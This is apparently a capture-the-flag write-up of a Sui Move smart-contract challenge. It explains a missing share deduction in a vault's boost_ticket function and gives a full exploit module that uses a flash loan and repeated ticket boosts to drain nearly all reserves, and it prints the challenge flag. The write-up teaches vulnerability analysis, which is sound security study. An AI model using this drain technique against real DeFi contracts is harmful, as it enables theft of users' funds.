Recursion Vault

Bitskrieg CTFby smothy

Recursion Vault - Blockchain

Points: 500 | Flag: BITSCTF{a58578ae3ad9e8bc00dc0369f0cbc03f} | Solved by: Smothy @ 0xN1umb

Money Printer Go Brr

what we got

Sui Move smart contract challenge. We get a vault contract (vault.move) holding 10 billion SUI tokens. Goal: drain 90%+ of it by writing an exploit.move module.

The vault has the usual DeFi stuff - deposits, shares, withdraw tickets, flash loans. Classic share-based vault accounting.

public fun solve(vault: &mut Vault, clock: &Clock, ctx: &mut TxContext)

no coins passed in, so we gotta bootstrap everything from the vault itself lol

the solve

ok so i started reading through every function and immediately noticed something sus in boost_ticket:

move
public fun boost_ticket(
    vault: &Vault,
    account: &mut UserAccount,
    ticket: WithdrawTicket,
    boost_shares: u64,
    ctx: &mut TxContext
): WithdrawTicket {
    assert!(boost_shares <= account.shares, E_INSUFFICIENT_BALANCE);

    // literally just... adds to the ticket
    // never does account.shares -= boost_shares  <--- BUG RIGHT HERE

    WithdrawTicket {
        amount: amount + boost_shares,
        ...
    }
}

compare this to create_ticket which correctly does account.shares = account.shares - amount. the boost_ticket function checks you HAVE the shares but never takes them away. infinite money glitch fr fr

Hackerman

so the play is:

  1. flash loan 100M SUI from the vault (we start with nothing, gotta get coins somehow)
  2. deposit those 100M back into the vault -> get ~101M shares (because reserves dropped from the flash loan, so shares/reserves ratio is slightly favorable)
  3. create ticket with just 1 share, keeping ~101M shares in the account
  4. boost that ticket 100 times with those ~101M shares - they never get deducted so we just keep reusing the same shares lmaooo
  5. ticket amount goes from 1 -> 10.1 BILLION shares
  6. finalize withdraw - payout = ticket_amount * reserves / total_shares = basically ALL the reserves (~10B SUI)
  7. split off 100,090,000 to repay the flash loan (100M + 90K fee)
  8. keep the ~9.9B profit, vault left with dust

the math works out perfectly:

  • flash loan 100M -> fee is 90K (9 bps)
  • after deposit: 10B reserves, ~10.1B total_shares
  • after 100 boosts: ticket = ~10.1B shares
  • payout = ~9,999,999,900 SUI (basically everything)
  • vault ends with ~100K SUI -> 99.9% drained

ngl this was clean, the whole thing fits in one transaction

exploit.move

move
module solution::exploit {
    use challenge::vault::{Self, Vault};
    use sui::clock::Clock;
    use sui::tx_context::{Self, TxContext};
    use sui::coin;
    use sui::transfer;

    public fun solve(vault: &mut Vault, clock: &Clock, ctx: &mut TxContext) {
        // flash loan 100M from vault
        let (loan_coin, receipt) = vault::flash_loan(vault, 100_000_000, ctx);

        // deposit to get shares
        let mut account = vault::create_account(ctx);
        vault::deposit(vault, &mut account, loan_coin, ctx);

        // create ticket with 1 share, keep the rest for boosting
        let mut ticket = vault::create_ticket(vault, &mut account, 1, clock, ctx);

        // boost_ticket never deducts shares - reuse them 100 times
        let boost_amount = vault::user_shares(&account);
        let mut i = 0;
        while (i < 100) {
            ticket = vault::boost_ticket(vault, &mut account, ticket, boost_amount, ctx);
            i = i + 1;
        };

        // withdraw with inflated ticket - drains everything
        let mut withdrawn = vault::finalize_withdraw(vault, &mut account, ticket, clock, ctx);

        // repay flash loan (100M + 90K fee)
        let repay_coin = coin::split(&mut withdrawn, 100_090_000, ctx);
        vault::repay_loan(vault, repay_coin, receipt);

        // yoink the rest
        transfer::public_transfer(withdrawn, tx_context::sender(ctx));
        vault::destroy_account(account);
    }
}

submitted it to the server (nc, send file size, send source code) and:

[+] Executed successfully! Vault drained. FLAG: BITSCTF{a58578ae3ad9e8bc00dc0369f0cbc03f}

first try btw

flag

BITSCTF{a58578ae3ad9e8bc00dc0369f0cbc03f}

Victory

classic missing state update bug. the devs checked boost_shares <= account.shares but forgot to actually subtract them. one missing line turned the whole vault into a money printer. DeFi security is no joke man, this is literally how real protocols get drained for millions


smothy out ✌️